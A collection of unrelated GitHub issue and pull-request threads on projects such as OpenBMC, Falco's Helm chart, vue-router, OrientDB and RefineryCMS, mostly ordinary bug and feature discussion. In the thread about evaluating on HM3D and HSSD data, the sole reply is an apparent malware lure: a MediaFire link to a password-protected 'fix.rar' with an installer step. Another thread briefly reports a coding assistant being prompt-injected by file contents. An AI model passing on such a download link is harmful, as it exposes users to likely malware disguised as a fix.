[Automation] FFDC needs to be collected if Setup The Suite fails

In recent run, it is seen that "Setup The Suite" fails for Test Inventory. But openbmc automation, does not collect FFDC for this failure.
Test automation need to be modified to collect FFDC in such case.
SETUP Setup The Suite
Start / End / Elapsed:	20160916 09:33:19.931 / 20160916 09:33:40.107 / 00:00:20.176
00:00:10.657KEYWORD powerons . BMC Power On
00:00:00.007KEYWORD @{ret} = utilities . Get Inventory List ${OPENBMC_MODEL}
00:00:00.003KEYWORD BuiltIn . Set Suite Variable @{sys_inv}, @{ret}
00:00:09.507KEYWORD ${resp} = rest_client . Read Properties /org/openbmc/inventory/enumerate
Start / End / Elapsed:	20160916 09:33:30.600 / 20160916 09:33:40.107 / 00:00:09.507
00:00:09.505KEYWORD ${resp} = rest_client . OpenBMC Get Request ${uri}, timeout=10
00:00:00.002KEYWORD BuiltIn . Should Be Equal As Strings ${resp.status_code}, ${HTTP_OK}
Documentation:
Fails if objects are unequal after converting them to strings.
Start / End / Elapsed:	20160916 09:33:40.105 / 20160916 09:33:40.107 / 00:00:00.002
09:33:40.106	INFO	Argument types are:
<type 'int'>
<type 'unicode'>
09:33:40.106	FAIL	404 != 200
System fw info:
root@palmetto:~# cat /etc/os-release
ID="openbmc-phosphor"
NAME="Phosphor OpenBMC (Phosphor OpenBMC Project Reference Distro)"
VERSION="v1.99.0-85"
VERSION_ID="v1.99.0-85-g0d2bd6a-dirty"
PRETTY_NAME="Phosphor OpenBMC (Phosphor OpenBMC Project Reference Distro) v1.99.0-85"
BUILD_ID="v1.99.0"
root@palmetto:~#

If its a Suite setup, it didnt won't even start the test.. so it wont collect the FFDC..
This was also earlier thought off if Suite setup failed shouldn't we collect FFDC ?...
the answer is no at this point..
The FFDC is designed to captured data at the test case level failure not at the Suite Level.

This we are not going to support for now. Here are the reason
Sample
Test cases 1
Hello
Test cases 1                                                          | PASS |
Test cases 2                                                          | FAIL |
testing != oops
Test cases 3
Hello
Test cases 3                                                          | PASS |
Suite Status: FAIL
Sample                                                                | FAIL |
3 critical tests, 2 passed, 1 failed
3 tests total, 2 passed, 1 failed
You can see if the Test case fails, the Suite Status is marked failed. So its a double collection.
Now next use case like the one u have here where the suite failed
==============================================================================
Sample
Test cases 1                                                          | FAIL |
Parent suite setup failed:
initialization != oops
Test cases 2                                                          | FAIL |
Parent suite setup failed:
initialization != oops
Test cases 3                                                          | FAIL |
Parent suite setup failed:
initialization != oops
Suite Status: FAIL
Sample                                                                | FAIL |
Suite setup failed:
initialization != oops
3 critical tests, 0 passed, 3 failed
3 tests total, 0 passed, 3 failed
Now if you look at the both ways example, you can't really differentiate the suite failure vs a test case failure exiting from the suite.

This is still  a debatable idea to have for test suite setup failure.. open for discussions...

system is not in a valid state if the suite setup fails. No need for FFDC since another test previous to it caused the system to get in to a bad state.  More important things to worry about like adding test cases for what is in the current sprint.  suite setup failures will not get the system to GA faster

Closing this..

@causten : I completely agree with your point. I was seeing a case (https://github.com/openbmc/openbmc/issues/580) where one suit was completely failing and no FFDC was getting captured for it. So I just logged it as a future enhancement item.


Scintilla Demo App + Theme Kitchen Sink

Hi,
Due to (as of yet) lack of user recipes, I created a very simple app for visually changing the style of a running scintilla control - so one can see how the final style will look like.
The app, in particular, generates the code for the desired style.
I still have to implement the following:

a proper readme file
editing of keyword sets
editing style of scintilla control

Please give it a look and let me know what you think!
https://github.com/uuf6429/ScintillaNET-Kitchen
Chris.

Love it! I think that's a great idea. I'll update the documentation to reference it.
I also have a couple ideas for you that I'll see about posting over on your project page.

Nice, thank you for creating this, makes setting up a language so much easier.

Thanks all!
@jacobslusser How do I go about "promoting" this? Also I don't mind passing on ownership of the repository to you - I know you're pretty busy on the main project, but for me this one is mostly a means to an end and I can't see myself very active on this in the future.

I did not do a good job promoting this tool. My bad.
It is now listed on the front page README.md.


Question about using a different dataset or using a subset of the hm3d dataset

Hi,
I want to evaluate the pipeline on a subset of the HM3D val, and also on the HSSD dataset.
Since the data loader is abstracted away from the vlfm.run script, I can't find a way to use my dataset.
Can you please help?

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."


Nova 4 Support

Can you please add support to Nova 4?

Any plans on implementing this?

@xPhantomNL sorry, not yet. :(
As I am currently unable to work on support for Nova 4, I will mark this package as abandoned. Sorry for the inconvenience.


Task 456 improvement

@Palipoor says:

Task 456 was difficult. I think I didn't understand it either.

Here is the actual feedback:

regarding instructions: You should emphasize that the verb in question is the one in parenthesis- not any other potential intentions within the sentence. Also define "unconditional" or provide an example. The HITs should have a yes or no bubble, and an extra fill in the blank if an explanation is needed or desired.
regarding p examples: I understood these easily. I'd have liked to see something "conditional" to know what that meant.
regarding n examples: I didn't understand these and would have answered the opposite of what was provided. I'd need a few more examples to make sense of them.

@yeganehkordi I can work on it. Let me know if needed.

Sounds good, Thanks!


new(falco): chart v3.0.0 for Falco 0.34 (falcoctl support and more)

Signed-off-by: Aldo Lacuku<EMAIL_ADDRESS>Co-authored-by: Lorenzo Susini<EMAIL_ADDRESS>What type of PR is this?
/kind bug
/kind cleanup
/kind design
/kind documentation
/kind feature
/kind chart-release
Any specific area of the project related to this PR?
/area falco-chart
What this PR does / why we need it:

[x] Add support for falcoctl init container and sidecar container. Opening this on WIP for early feedback.
[x] Fixes #418
[x] Fixes #419
[x] Remove default rules files from the chart
[x] Add modern probe support (TBD see https://github.com/falcosecurity/charts/pull/459)
[ ] Upgrade to Falco 0.34

Which issue(s) this PR fixes:

Fixes #418
Fixes #419
Special notes for your reviewer:
Checklist

[x] Chart Version bumped
[x] Variables are documented in the README.md
[ ] CHANGELOG.md updated

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: loresuso
Once this PR has been reviewed and has the lgtm label, please assign leogr for approval by writing /assign @leogr in a comment. For more information see the Kubernetes Code Review Process.
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@leogr we addressed all the comments. Could you please check again? Thanks!

Thanks for your pull request. Before we can look at it, you'll need to add a 'DCO signoff' to your commits.
:memo: Please follow instructions in the contributing guide to update your commits with the DCO
Full details of the Developer Certificate of Origin can be found at developercertificate.org.
The list of commits missing DCO signoff:

efdb5d9 update(falco)!: bump chart version to 3.0.0

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

Thanks for your pull request. Before we can look at it, you'll need to add a 'DCO signoff' to your commits.
:memo: Please follow instructions in the contributing guide to update your commits with the DCO
Full details of the Developer Certificate of Origin can be found at developercertificate.org.
The list of commits missing DCO signoff:

fd860af chore(falco): correct appVersion

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

LGTM label has been added.  Git tree hash:<PHONE_NUMBER>64d0467e5613ecaa09af758e6595ba

New changes are detected. LGTM label has been removed.

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: loresuso
Once this PR has been reviewed and has the lgtm label, please ask for approval from leogr by writing /assign @leogr in a comment. For more information see the Kubernetes Code Review Process.
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: loresuso
Once this PR has been reviewed and has the lgtm label, please ask for approval from leogr by writing /assign @leogr in a comment. For more information see the Kubernetes Code Review Process.
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

We also fixed links in the docs. Mind to reapprove @leogr? :)

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: leogr, loresuso
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [leogr]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

/close
Closing and reopening to trigger the CI

@leogr: Closed this PR.

In response to this:

/close
Closing and reopening to trigger the CI

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

/reopen
/hold cancel

@leogr: Reopened this PR.

In response to this:

/reopen
/hold cancel

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.


Validated User Inputs.

calculator.py

Validate User Inputs
Cleaned up the if else
Continue Option after an operation

This is the first time I'm participating in open source projects. Feedbacks (even if it's negative) would be greatly appreciated!
Thanks and best Regards.

Overall, nice quality of life changes made here, nice job!


HOLD Remove encoding cookies from 13 Casks

These UTF-8 encoding cookies were intended to help Ruby 1.9, and should not have had an effect for users running Ruby 2.0.  We no longer need them.
Since #8089 (requiring Ruby 2.0) was only just merged, we should HOLD until 15 Jan.
Sorry if this long-term PR is considered clutter.

15 Jan has arrived. Should we merge this?

Good catch – sorry I've been so slow.


Support for Azure OpenAI API

Hello，
Currently this AHK code can only work under the official OPENAI API;
Could you please add support for OPENAI service in Microsoft AZURE?
What about making the code work properly under the Azure OPENAI API
(https://learn.microsoft.com/en-us/azure/ai-services/openai/reference)?
Thanks！

Hi @lchyn and @ishaan-jaff.
Thanks for opening the issue. I followed @ishaan-jaff suggestion and added an option to call custom models compatible with OpenAI API standard in https://github.com/htadashi/GPT3-AHK/commit/c7de601d7417180d851190080048ba40ad6f74e5
In particular, you can run the litellm server in your computer following the quickstart instructions, and setup the CUSTOM_MODEL_ENDPOINT and CUSTOM_MODEL_ID to respectively point out to your server IP and to your desired Azure model name.


Signing into multiple accounts

I have a question, how do you sign in into multiple accounts at the same time using the miner, and is that even possible?

This is a duplicate of #31, please check out the discussion there.


Fix annotation entry ordering with service constructors

Purpose
$title.
We saw this issue in annotations used in tests. Adding tests for this is being tracked with https://github.com/ballerina-platform/ballerina-lang/issues/16555
Fixes #
Approach

Describe how you are implementing the solutions along with the design details.

Samples

Provide high-level details about the samples related to this feature.

Remarks

List any other known issues, related PRs, TODO items, or any other notes related to the PR.

Check List

[x] Read the Contributing Guide
[ ] Updated Change Log
[ ] Checked Tooling Support (#)
[ ] Added necessary tests

[ ] Unit Tests
[ ] Spec Conformance Tests
[ ] Integration Tests
[ ] Ballerina By Example Tests

[ ] Increased Test Coverage
[ ] Added necessary documentation

[ ] API documentation
[ ] Module documentation in Module.md files
[ ] Ballerina By Examples

Testerina tests are disabled atm, but https://github.com/ballerina-platform/ballerina-lang/pull/27440 adds a test for this which will run when the tests are enabled.


vue-router scrollBehaviour not working properly in some environments

Version
2.5.3
Reproduction link
https://samknows.com/
Steps to reproduce
Sorry for no minimal reproduction - I have honestly no idea where to start with this, or even whether it is a bug in vue-router (I suspect it is).
 Not locally, not on staging environments, just here: https://samknows.com/
The bug:

Scroll halfway down homepage
Click "The Whitebox" link in header

What is expected?
Scroll handler should have taken you to the top of the page
What is actually happening?
You're not at the top of the page

Here is my router code right now:
const router = new VueRouter({
  mode: 'history',
  scrollBehavior: (to, from, savedPosition) => {
    console.log(to, from);

    if (to.name.startsWith('products') && from.name.startsWith('products')) {
      return null;
    }

    return savedPosition || { x: 0, y: 0 };
  },
  routes,
});

As you can see in the console, the from route is wrong. What could be causing this? Why is it only happening in some environments, and what can I give you to help?
Sorry for vagueness.

Nice animation 😎
A minimal repro would help us. If it depends on the environment, that's quite unusual and unfortunately for you, probably unrelated with vue-router. Maybe the server is adding some headers? I don't know. You could try setting up a simple repro pushing it to that server and then downloading the resulting html file to check it against the staging server.

Thanks!
Heh, it's quite unusual and I can't see how it can be related to anything - it just shouldn't be happening! However, the to and from objects both being the same, and the from object being wrong - can anything outside of vue-router cause that to happen?
Can't really make a minimal repro without replicating it locally :( I will carry on trying to replicate this and figure out what's causing it. Have already sunk a couple days into it, and it's basically just a link.
😩

I was thinking that you could try testing that minimal repro on the server (not the whole app), maybe you see the difference that way

Our staging environment is running on exactly the same server and it isn't happening there, usually. A few deploys back, it was happening on staging, but it went away when I added the console.log.

I'm closing this for the moment, come back if you get more information 🙂

I met the same problem. Does any body know why?
BTW, NICE Animation!

absolutely no idea. worked around it in the end:
  scrollBehavior: (to, from, savedPosition) => {
    // This is the workaround
    if (to.name === 'products' && from.name === 'products') {
      return savedPosition || { x: 0, y: 0 };
    }

    if (to.name.startsWith('products') && from.name.startsWith('products')) {
      return null;
    }

    return savedPosition || { x: 0, y: 0 };
  },

Hi there,
I'm facing a similar issue where scrollBehavior is not working. I think it is due to the fact that window.scrollTo doesn't properly work if you have stricky div elements, and\or peculiar nested CSS.
I found a workaround using Element.scrollIntoView.
In my case the following code solved the issue:
scrollBehavior: (to, from, savedPosition) => {
        // very bad, maybe better use a Navigation Guard?
        document.getElementById('app').scrollIntoView();
        return { x: 0, y: 0 };
    }

Maybe this bug could be re-opened to make sure scrollBehavior can handle this scenario. Ie: if a String is returned it should be considered as an Element's id, therefore scrollIntoView should be applied instead of scrollTo.

thanks @lordgordon your comment was very helpful .. I use it in a Global After Hook like this and it works well:
// scroll to top on routes navigation
router.afterEach((to, from) => {
  document.getElementById('app').scrollIntoView()
})

For anyone still getting this issue;
I had an overflow: auto on the html tag. Removing it fixed the issue!

I know it been a while. But here is what i do
scrollBehavior(to, from, savedPosition) {
    if (savedPosition) {
      return savedPosition
    } else {
      const isHash = to.hash ? to.hash.split('#') : undefined
      if (isHash) {
        let tmp = setTimeout(() => {
          document.getElementById(isHash[1]).scrollIntoView()
          clearTimeout(tmp)
        })
      }
      return null
    }
  },

setTimeout is import for the change of micro task. It will be execute at the end

This works for me to simply scroll to top for every route:
const router = new VueRouter({
  mode: 'history',
  routes: [...routes],
  scrollBehavior () {
    document.body.scrollTop = 0; // For Safari
    document.documentElement.scrollTop = 0;
  },
});

@wuestkamp that will break the expected scroll position behaviour when pressing the back button, though

For anyone still getting this issue;
I had an overflow: auto on the html tag. Removing it fixed the issue!

Any reason why this can't work with overflow:auto?


Getting prompted by code/ "prompt injection"

I was trying to write a patch for suggest_categories_gpt.py. gptme gets prompted after reading the file to suggest categories instead of applying the patch. It's more for a prompt injection problem, I doubt if it's solvable on our end. Just posting it here because I found it interesting.


Bump dependency of seamless-immutable

There was a new version of seamless-immutable which is compatible with this. Thanks for this module, let's keep it up to date! :)

cheers! apologies for the delay in merging


Add Phi2 support

Microsoft changed phiz license to become MIT. Plz Add the support for Phi2

This has been supported since the release of v0.1.17 3 weeks ago. See also https://ollama.ai/library/phi.

Indeed! It's available here: https://ollama.ai/library/phi


Unable to create navigation with single type in 2.0.9

I've found another regression with 2.0.9. Single types were working for me before but now I can't create any
If I create a new navigation item with single content type, I experience the following issues:

The title of the related item overrides the title I've written
I can't edit the title afterwards
The relation seems lost, as when I click on edit it doesn't tell me which content it's related to

yes, I reverted to 2.0.8 as it was giving some issues. It's just a single content type, nothing unusual. It has the property name though, which I don't know if it was overriding something in the new version
I realised that it was even failing to save the item, and maybe that's why the frontend was behaving weirdly

Does your single type use Publish Flow?

None of my single types are using publish flow at the moment

Ok so Thats the missed piece seems. Should be fixed by night today.

@cortopy v2.0.10 has been just released. Check please if fixed your issue (I've tested it with number of single types and works).
If yes, please close the issue.

@cyp3rius all working great with 2.0.10. Thanks for this!


no-extraneous-dependencies: option to allow resolved dependencies

I have a case of where pkg1depends on pkg2 and I like to import pkg2 to work with it directly without having to add a potentially conflicting/duplicate version of pkg2 to package.json. Suggesting an option like allowResolved to no-extraneous-dependencies to not trigger the rule when the imported package is resolvable.

Can you help me understand why it would be resolveable, but why you wouldn't want it in package.json?

It's resolvable because I know that beforehand pkg1 has a dependency on it, but I still need to interface directly with pkg2 to change one of it's global settings, for example. I want to avoid putting it in package.json because that could lead to a situation with two versions being installed like this:
mypackage ><EMAIL_ADDRESS>mypackage > pkg1 ><EMAIL_ADDRESS>which is bad because those can confict and it's unnecessary extra bundle size. What I want is just
mypackage > pkg1 ><EMAIL_ADDRESS>while still being able to configure pkg2 but this rule prevents that from happening.

It's resolvable because I know beforehand that pkg1 has a dependency on it, but I still need to interface directly with pkg2 to change one of it's global settings, for example. I want to avoid putting it in package.json because that could lead to a situation with two versions being installed like this:
mypackage ><EMAIL_ADDRESS>mypackage > pkg1 ><EMAIL_ADDRESS>which is bad because those can confict and it's unnecessary extra bundle size. What I want is
mypackage > pkg1 ><EMAIL_ADDRESS>while still being able to configure pkg2 but this rule prevents that from happening.

Is there any follow-up?

@silverwind if one thing requires v1 and another v2, then in fact they are both necessary, and the bundle size increase is as well. If they can be deduped, they should be, and then there'd be no need to alter the linter to cover that.
Additionally, pnpm and yarn 2 will refuse to allow you to import pkg2 unless it's in package.json.

There's certainly modules out there that tend to this pattern, sometimes they expose pkg2 as pkg1.pkg2 resolving the issue but it's not always a given. I guess what would need to happen is that package managers start to accept a resolution path like pkg2: "npm:pkg1/pkg2" but the chances of that happening are very slim.
I'm fine if you want to close this, such modules are generally better avoided in any case.

I don't think it's actually slim - yarn has overrides, and npm is planning to add them.
I'll close this for the time being. Thanks for the discussion!


⚠ 2 Minutes de génie (gitlab page) has degraded performance

In 5f4b6b8, 2 Minutes de génie (gitlab page) (https://2mdg.gitlab.io/) experienced degraded performance:

HTTP code: 200
Response time: 737 ms

Resolved: 2 Minutes de génie (gitlab page) performance has improved in 9a04452.


[uss_qualifier] attach participant id to net0210 check, fix Issue #244

This should address Issue #244.
It also updates the markdown doc for this check, which was erroneously referencing NET0500 instead of NET0210

Taking this back to draft until I can properly define which participant a query belongs to.

@BenjaminPelletier this is ready for another pass of review.
This PR grew a little bit: I found out that quite a few queries were getting attributed to the wrong participants in rid.all_flights.
The suggested change is to solve this with some additional configuration information.
The test suite might fail because there are some unattributed queries that are detected in the aggregated checks, and I still need to check if these can be ignored or not (they involve example.com and the v22 endpoints when the v19 checks were run)

I made a pass on this PR to in order to finalize it. I ended up doing a bit more though:

create unauthenticated session through overriding correct audience
rename all the server_id to participant_id for the sake of consistency; I took the opportunity of doing that in this PR, that's been bothering me for a while (sorry, it does add noise to the PR)
factor away telemetry match + tolerance constants in monitorlib.geo package
factor away part of telemetry polling from both scenarios in the virtual observer
refactor/cleanup parts of the scenarios (notably use the fetch functions even for unauthenticated queries)
factor away/cleanup inject_flights + injected_flights_errors in injection.py
clarify some things related to setting participant IDs in display_data_evaluator

(note: at the time of writing this the PR is still not ready for review and need some fixes)


Replication of documents is slower than insertion of documents.

Hi,
We adapted yscb for orient DB 2.0.3 and executed some performance test against a cluster of three nodes (node1, node2 and node3).
We had asynchronous mode of replication enabled during performance run.
We executed performance test pointing to node1 via YCSB.
With this performance run, we have following observations:

The rate of documents insertion is ~2500 document/second.
But the rate of replication to node2 and node3 is just ~300 documents/second.

We studied code base of orient DB and found that replication is done through a single thread.
We made some code changes to achieve multi-threaded replication. With multi-threaded replication, we could see rate of replication increased (upto ~1200 documents/second)
Can we have multi-threaded asynchronous replication?
Or Is there any hurdle in multi threading of asynchronous replication?
Please guide us on this.
Regards,
Rinky Mangal

I suggest you on using 2.0.5 (or even 2.0.6-SNAPSHOT), not for performance improvement but for some fixes on distributed. In yscb benchmark, are you using Document API? Are there any transactions?
About MT replication could you share your code? The best way is forking OrientDB and publishing it on github under your account.

Thanks Luca!
We shall use 2.0.5 for further tests.
In yscb benchmark, we are using document API. No there is no transaction in YCSB.
About MT replication, we shall soon share code changes.
In addition, we have adapted YCSB to allow testing of orient DB cluster. We shall soon share YCSB changes as well to get opinion.

Cool!

Here are the changes for multi-threaded  asynchronous replication:
https://github.com/rinkymangal2010/orientdb/commit/cb50ab7da24997e010c25b63644b47232f532323
Please take a look and let us know if they look fine.

@lvca did you get a chance to take a look at code changes?

Commented inlined

Any update on this?

In last develop branch we improved replication a lot. Performance with 2 nodes are 3x, 4x with 3 nodes and even more with more nodes. We'll publish develop branch as 2.2.0-beta2 or 2.2.0-rc1 in the next week.

Will there be any improvement if I change executor service pool size in hazelcast.xml.

No, we use queues, not executors, so you will have not any improvement.

Hey guys, did you try v2.2? It's 3x-10x faster with 3 nodes and even more with more nodes.

We resolved all the performance issues with v2.2 by achieving also a 10x in comparison to v2.1. Closing this issue.


Fix/video events

Solving the problem of the method for capturing the video duration.
The problem was related to the resolution of the promise.

Which part of the current code generate the problem? Which is the solution?
Please solve the conflicts and we can go ahead 💪

new modifications coming


Migrate server data to database

Current json data is not very reliable for storing persistent data, database is actually needed this time.

[x] internal database api, connecting and handling
[x] Reimplement config with database backend
[x] migrate most code to database

Database schema appears to be compatible with PostgreSQL, it may be compatible with SQLite (default for testing)
Good luck finding bugs!

Also, this closes #9


ClimaCoupler downstream test is failing

https://github.com/CliMA/ClimaAtmos.jl/actions/runs/9753198215
ERROR: LoadError: type NamedTuple has no field idealized_insolation
Stacktrace:
  [1] getproperty
    @ ./Base.jl:37 [inlined]
  [2] set_surface_albedo!
    @ ~/work/ClimaAtmos.jl/ClimaAtmos.jl/ClimaCoupler.jl/experiments/ClimaEarth/components/atmosphere/climaatmos.jl:86 [inlined]
  [3] macro expansion
    @ ~/work/ClimaAtmos.jl/ClimaAtmos.jl/src/callbacks/callbacks.jl:173 [inlined]
  [4] rrtmgp_model_callback!(integrator::ClimaTimeSteppers.DistributedODEIntegrator{…})
    @ ClimaAtmos ~/.julia/packages/NVTX/pfSOQ/src/macro.jl:194
  [5] AtmosCallback
    @ ~/work/ClimaAtmos.jl/ClimaAtmos.jl/src/solver/types.jl:461 [inlined]
  [6] #237
    @ ~/work/ClimaAtmos.jl/ClimaAtmos.jl/src/callbacks/callback_helpers.jl:49 [inlined]
  [7] initialize!(u::ClimaCore.Fields.FieldVector{…}, t::Float64, integrator::ClimaTimeSteppers.DistributedODEIntegrator{…}, any_modified::Bool, c::SciMLBase.DiscreteCallback{…}, cs::SciMLBase.DiscreteCallback{…})
    @ DiffEqBase ~/.julia/packages/DiffEqBase/c8MAQ/src/callbacks.jl:13
  [8] initialize!(::ClimaCore.Fields.FieldVector{…}, ::Float64, ::ClimaTimeSteppers.DistributedODEIntegrator{…}, ::Bool, ::SciMLBase.DiscreteCallback{…}, ::SciMLBase.DiscreteCallback{…}, ::Vararg{…})
    @ DiffEqBase ~/.julia/packages/DiffEqBase/c8MAQ/src/callbacks.jl:14
  [9] initialize!(::ClimaCore.Fields.FieldVector{…}, ::Float64, ::ClimaTimeSteppers.DistributedODEIntegrator{…}, ::Bool, ::SciMLBase.DiscreteCallback{…}, ::SciMLBase.DiscreteCallback{…}, ::Vararg{…})
    @ DiffEqBase ~/.julia/packages/DiffEqBase/c8MAQ/src/callbacks.jl:14
 [10] initialize!(::ClimaCore.Fields.FieldVector{…}, ::Float64, ::ClimaTimeSteppers.DistributedODEIntegrator{…}, ::Bool, ::SciMLBase.DiscreteCallback{…}, ::SciMLBase.DiscreteCallback{…}, ::Vararg{…})
    @ DiffEqBase ~/.julia/packages/DiffEqBase/c8MAQ/src/callbacks.jl:14
 [11] initialize!
    @ ~/.julia/packages/DiffEqBase/c8MAQ/src/callbacks.jl:14 [inlined]
 [12] initialize!(cb::SciMLBase.CallbackSet{…}, u::ClimaCore.Fields.FieldVector{…}, t::Float64, integrator::ClimaTimeSteppers.DistributedODEIntegrator{…})
    @ DiffEqBase ~/.julia/packages/DiffEqBase/c8MAQ/src/callbacks.jl:7
 [13] __init(::SciMLBase.ODEProblem{…}, ::ClimaTimeSteppers.RosenbrockAlgorithm{…}; dt::Float64, tstops::Tuple{}, saveat::Vector{…}, save_everystep::Bool, callback::SciMLBase.CallbackSet{…}, advance_to_tstop::Bool, save_func::ClimaTimeSteppers.var"#36#38", dtchangeable::Bool, stepstop::Int64, tdir::Float64, kwargs::@Kwargs{…})

    @ ClimaAtmos ~/work/ClimaAtmos.jl/ClimaAtmos.jl/src/solver/type_getters.jl:718
 [24] atmos_init(atmos_config::ClimaAtmos.AtmosConfig{…})
    @ Main ~/work/ClimaAtmos.jl/ClimaAtmos.jl/ClimaCoupler.jl/experiments/ClimaEarth/components/atmosphere/climaatmos.jl:35
 [25] top-level scope
    @ ~/work/ClimaAtmos.jl/ClimaAtmos.jl/ClimaCoupler.jl/experiments/ClimaEarth/run_amip.jl:188
in expression starting at /home/runner/work/ClimaAtmos.jl/ClimaAtmos.jl/ClimaCoupler.

This is probably related to some recent changes in insolation. @szy21 @cmschmitt519

Yes, we are aware of this and mark #3150 as a breaking change. But in general what should we do when this test is failing?

When this test is failing, this means that main of ClimaAtmos and main of ClimaCoupler are incompatible. In turn, this means that releasing ClimaAtmos will break ClimaCoupler. The greener we keep this test, the easier it is to update ClimaCoupler. When this test becomes red, it also hides all possible problems that come afterwards, so ideally, when a PR breaks a downstream test, we should open a sibling PR in ClimaCoupler to take care of the incompatibility.
Breaking changes will indeed break this test, but sometimes it is easy to ensure compatibility with previous versions.
A pattern you might consider is
if pkgversion(ClimaAtmos) <= v"0.26.3"
    insolation = my_insolation
else
   insolation = my_new_insolation
end

But this should not become a burden, so just do it if it is easy.

When this test is failing, this means that main of ClimaAtmos and main of ClimaCoupler are incompatible. In turn, this means that releasing ClimaAtmos will break ClimaCoupler. The greener we keep this test, the easier it is to update ClimaCoupler. When this test becomes red, it also hides all possible problems that come afterwards, so ideally, when a PR breaks a downstream test, we should open a sibling PR in ClimaCoupler to take care of the incompatibility.

But we can't merge the ClimaCoupler PR until the atmos is updated, so the downstream test will still fail. Should we just tag a  minor release as soon as we have breaking changes? But then we will have many releases...

If it is easy, you can support both versions. If not, it is not a big deal, just wait until you release ClimaAtmos. This test is mostly to give us an indication of what might go wrong, but it is not a strict test.

@Sbozzolo This is fixed here: https://github.com/CliMA/ClimaCoupler.jl/pull/889. We may be able to close this issue. In this instance the solution was to update the coupler interface for compatibility with the latest atmos breaking changes.


Admin page tree ajax

This feature provides the ability to expand the admin's pages tree via ajax.
This change increases the performance for large hierarchies, because we only need to load one level of the tree at a time. The user can click the expand icon to loads the children via ajax.
It should also make it easier to find things, since the tree is collapsed by default.
Cheers!

Please include this feature in RefineryCMS. I have a lot of pages and I do not want to view them all on one page. I want to use tree where I expand or collapse nodes.

@parndt I think we should bring this back to life :)

When? The sooner the better.

i can put some time into reviving this tomorrow, will add some tests too

that would be awesome.
i have this:
refinerycms (1.0.9, 1.0.8)
refinerycms-authentication (1.0.9, 1.0.8)
refinerycms-base (1.0.9, 1.0.8)
refinerycms-core (1.0.9, 1.0.8)
refinerycms-dashboard (1.0.9, 1.0.8)
refinerycms-generators (1.0.4)
refinerycms-i18n (1.0.0)
refinerycms-images (1.0.9, 1.0.8)
refinerycms-pages (1.0.9, 1.0.8)
refinerycms-resources (1.0.9, 1.0.8)
refinerycms-settings (1.0.9, 1.0.8)

@joshnuss awesome!

correct! dsmario: new changes can go on master only

Ok, np.
When it's ready to go, please post instruction on how I can update my RefineryCMS, ok?
Thanks!

That may be harder than you think... 2.0 is an overhaul.. :/ This pull request also requires the asset pipeline which 1.x will never have.

oh great... is there a simple instruction to upgrade from 1.x to 2.0?

No, once 2.0 is ready we have to evaluate a) if that's possible and b) how to do it cleanly. We're currently working hard just to get 2.0 ready (and it's so close but requires a lot of polish!)

I assume the images are from the silk library?

Is this configurable? Can I turn it on/off with:
Refinery::Pages.config.admin_collapsing_tree = true # or false

Rationale being it would be good for small sites to not have this.

Hi, speaking of page tree, I am not able to reorder the pages. It doesn't work at all. Any advice?

@dsmario that's a separate issue, can you file an issue to discuss it there?

@parndt
the images are from the pinvoke library, im not totally sold on them. especially the folder icon, could confuse some users into thinking a page is a folder.. which isnt really true, its a page with sub pages. what do you think about using a different icon?
Gonna push the tests shortly, and will make the code change has_children? as you suggested.
Will add the configuration option too, how about:
Refinery::Pages.config.admin_auto_expand_tree = true # default to false
Also there is one area that needs polishing: the folder icon and the page title are both clickable, but does different things. it seems it might be confusing to some users. any suggestions?

We use the silk library: http://www.famfamfam.com/lab/icons/silk/ and we've already credited Mark James in our readme so we prefer these icons.

Configuration option name seems fine

What happens when you click the folder icon and what happens when you click the page title?

Clicking on icon expands/collapses
Clicking on page title, opens edit screen

You could simplify it by not making it open the edit screen ;-)

perfect! i will remove than

Having a little trouble with the request spec to check that the tree expands properly, this is my code
        context "when sub pages exist" do
          before do
            parent = FactoryGirl.create(:page, :title => "Our Company")
            FactoryGirl.create(:page, :parent => parent, :title => 'Our Team')
            FactoryGirl.create(:page, :parent => parent, :title => 'Our Locations')

            visit refinery_admin_pages_path
          end

          #passes
          it "should show parent page" do
            page.should have_content("Our Company")
          end

          #passes
          it "should not show children" do
            page.should_not have_content("Our Team")
            page.should_not have_content("Our Locations")
          end

          #fails
          it "should expand children" do
            find(".toggle").click

            # page data does not change after click is invoked

            page.should have_content("Our Team")
            page.should have_content("Our Locations")
          end
        end

does capybara refresh the page after an ajax request? tried doing sleep 2 just to see if it was taking time, but still didnt work

Do you have :js => true somewhere in your spec? A good place is on any tests that require JS to work!
it 'expands children', :js => true do
  # etc
end

And yes, I removed 'should expand children' in favour of 'expands children' to DRY it up ;-)

thanks! that fixed it

this should be ready to go, can you guys try it out and let me know if anything is missing

Yes, I'm just working on another issue so when I'm done on that I'll take a look.
Thanks!

@joshnuss If I click the title the icon doesn't toggle properly

Did you see my message about the title not toggling the folder open/close icon?

yes. it was an issue with the js, its fixed in the next push

ok its updated, give it another whirl

@joshnuss I merged it but I still have a tiny problem. You will want to rebase against resolve/master first but when you reorder pages and remove all pages from a "page folder" the icon does not update to that of a regular page.
Maybe you want to add that?

Thats a good point, didnt think of that.
Is there an event that fires when the use moves a page during a sort?

Probably, but I couldn't tell you offhand. It'll be in admin.js or refinery.js somewhere…. near the code that calls update_positions.
